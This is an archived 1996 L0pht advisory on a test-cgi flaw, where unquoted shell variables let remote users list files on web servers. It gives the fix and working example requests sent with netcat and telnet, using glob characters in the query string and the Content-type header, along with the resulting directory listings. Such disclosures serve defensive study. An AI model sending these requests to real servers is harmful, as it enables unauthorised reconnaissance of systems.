home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / test-cgi.txt < prev    next >
Text File  |  1998-07-17  |  5KB  |  176 lines

  1.  
  2.                   [ Advisory released April 1996 ]
  3.  
  4.                             L0pht Report
  5.  
  6.                        test-cgi vulnerability
  7.                          in certain setups
  8.  
  9. Affected Program: test-cgi scripts found on various web servers.
  10.  
  11. Severity: Anyone can remotely inventory the files on a machine.
  12.  
  13. Author: mudge@l0pht.com
  14.  
  15. Synopsis:
  16.  
  17. On many web sites there exists a file called test-cgi (usually in
  18. the cgi-bin directory or somewhere similar). There is a problem
  19. with many of these test-cgi files. If your test-cgi file contains
  20. the following line (verbatim) then you are probably vulnerable.
  21.  
  22. echo QUERY_STRING = $QUERY_STRING
  23.  
  24. All of these lines should have the variables enclosed in loose
  25. quotes ("). Without these quotes certain special characters
  26. (specifically '*') get expanded where they shouldn't. Thus
  27. submitting a query of '*' will return the contents of the
  28. current directory (probably where all of the cgi files are...
  29. gee, there's jj and phf. Hmmm what are all those other cgi's
  30. that I haven't seen... wonder what holes exist in those?).
  31. Sending in a query of '/*' will list the root directory.
  32. And so on, and so on.
  33.  
  34. This is the same as doing `echo *` when you've blown away 'ls'
  35. (not that this ever happens to anyone <grin>).
  36.  
  37. The easiest way to list out the directories is via the query
  38. string. However, it is possible to do the same thing through
  39. many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.)
  40. in the right situations.
  41.  
  42.  
  43. Fix:
  44.  
  45. The quick fix is to place loose quotes around all of the
  46. variables in the test-cgi file (they should have been there
  47. from the beginning!).
  48.  
  49. echo QUERY_STRING = "$QUERY_STRING"
  50.  
  51. This incorrect file has been seen in at least several versions
  52. of NCSA, and Apache.
  53.  
  54.  
  55. Example exploit:
  56.  
  57. Below are examples (nc is netcat from avian.org, if you don't
  58. have it you should get it as it is an invaluable tool. You can
  59. always just telnet to port 80 and type in the GET... command.)
  60.  
  61. ------------------
  62. machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
  63.  
  64. CGI/1.0 test script report:
  65.  
  66. argc is 1. argv is /\*.
  67.  
  68. SERVER_SOFTWARE = NCSA/1.4.1
  69. SERVER_NAME = removed.name.com
  70. GATEWAY_INTERFACE = CGI/1.1
  71. SERVER_PROTOCOL = HTTP/0.9
  72. SERVER_PORT = 80
  73. REQUEST_METHOD = GET
  74. HTTP_ACCEPT =
  75. PATH_INFO =
  76. PATH_TRANSLATED =
  77. SCRIPT_NAME = /bin/cgi-bin/test-cgi
  78. QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
  79. /root /sbin /stand /sys /tmp /usr /usr2 /var
  80. REMOTE_HOST = remote.machine.com
  81. REMOTE_ADDR = 255.255.255.255
  82. REMOTE_USER =
  83. AUTH_TYPE =
  84. CONTENT_TYPE =
  85. CONTENT_LENGTH =
  86.  
  87. ------------------
  88. Or to see what other cgi-goodies are still floating around...
  89. ------------------
  90. machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
  91.  
  92. CGI/1.0 test script report:
  93.  
  94. argc is 1. argv is \*.
  95.  
  96. SERVER_SOFTWARE = NCSA/1.4.1
  97. SERVER_NAME = removed.name.com
  98. GATEWAY_INTERFACE = CGI/1.1
  99. SERVER_PROTOCOL = HTTP/0.9
  100. SERVER_PORT = 80
  101. REQUEST_METHOD = GET
  102. HTTP_ACCEPT =
  103. PATH_INFO =
  104. PATH_TRANSLATED =
  105. SCRIPT_NAME = /bin/cgi-bin/test-cgi
  106. QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
  107. cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
  108. mail-query mail-query-2 majordomo majordomo.cf marker.cgi
  109. menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
  110. query smartlist.cf src subscribe.cf test-cgi uptime
  111. REMOTE_HOST = remote.machine.com
  112. REMOTE_ADDR = 255.255.255.255
  113. REMOTE_USER =
  114. AUTH_TYPE =
  115. CONTENT_TYPE =
  116. CONTENT_LENGTH =
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124. ================================================================================================
  125.  
  126.  
  127.  
  128.     test-cgi
  129.  
  130.  
  131.  
  132. |
  133. |Another data point for anyone out there running Apache ... test-cgi
  134. |in the apache-1.1.1 distribution already has the required
  135. |
  136. |echo QUERY_STRING = "$QUERY_STRING"
  137. |
  138.  
  139. However, it does not have the necessary quotes around the "$CONTENT_TYPE"
  140. string.  Therefore it's still vulnerable in it's default configuration.
  141. Adding "set -f" as the second line of the script closes the hole completely.
  142.  
  143. (www) frankenstein:~$ (echo POST /cgi-bin/test-cgi HTTP/1.0; echo Content-type: \* ; echo Content-length: 0; echo; sleep 5) | telnet localhost 80
  144. Trying 127.0.0.1...
  145. Connected to localhost.
  146. Escape character is '^]'.
  147. HTTP/1.0 200 OK
  148. Date: Wed, 04 Dec 1996 04:11:15 GMT
  149. Server: Apache/1.1.1
  150. Content-type: text/plain
  151.  
  152. CGI/1.0 test script report:
  153.  
  154. argc is 0. argv is .
  155.  
  156. SERVER_SOFTWARE = Apache/1.1.1
  157. SERVER_NAME = frankenstein.asylum.net
  158. GATEWAY_INTERFACE = CGI/1.1
  159. SERVER_PROTOCOL = HTTP/1.0
  160. SERVER_PORT = 80
  161. REQUEST_METHOD = POST
  162. HTTP_ACCEPT =
  163. PATH_INFO =
  164. PATH_TRANSLATED =
  165. SCRIPT_NAME = /cgi-bin/test-cgi
  166. QUERY_STRING =
  167. REMOTE_HOST = localhost
  168. REMOTE_ADDR = 127.0.0.1
  169. REMOTE_USER =
  170. AUTH_TYPE =
  171. CONTENT_TYPE = (bunch of files listed here, whose names I don't care to share)
  172. CONTENT_LENGTH = 0
  173. Connection closed by foreign host.
  174. (www) frankenstein:~$
  175. --
  176.